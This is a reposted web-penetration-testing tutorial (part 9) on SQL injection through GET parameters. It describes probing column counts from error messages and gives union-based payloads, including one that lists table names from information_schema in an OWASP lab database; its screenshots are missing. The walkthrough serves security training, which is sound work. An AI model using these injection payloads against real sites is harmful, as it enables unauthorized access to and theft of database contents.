首页 > Web开发 > 详细

Ethical Hacking - Web Penetration Testing(9)

时间:2020-02-09 19:46:19      阅读:76      评论:0      收藏:0      [点我收藏+]

SQL INJECTION

Discovering SQLi in GET

Inject by browser URL.

技术分享图片

 

Selecting Data From Database

Change the number to a big one, then you can get a useful error message. And you can try different number to find the right column.

技术分享图片

Using “union select 1,2,3,4,5” to find the right column.

技术分享图片

Then replace it with the information we want to get. (database, user, version)

技术分享图片

Finding Database Tables

union select 1,table_name,null,null,5 from information_schema.tables where table_schema = owasp10

技术分享图片

Ethical Hacking - Web Penetration Testing(9)

原文:https://www.cnblogs.com/keepmoving1113/p/12287747.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!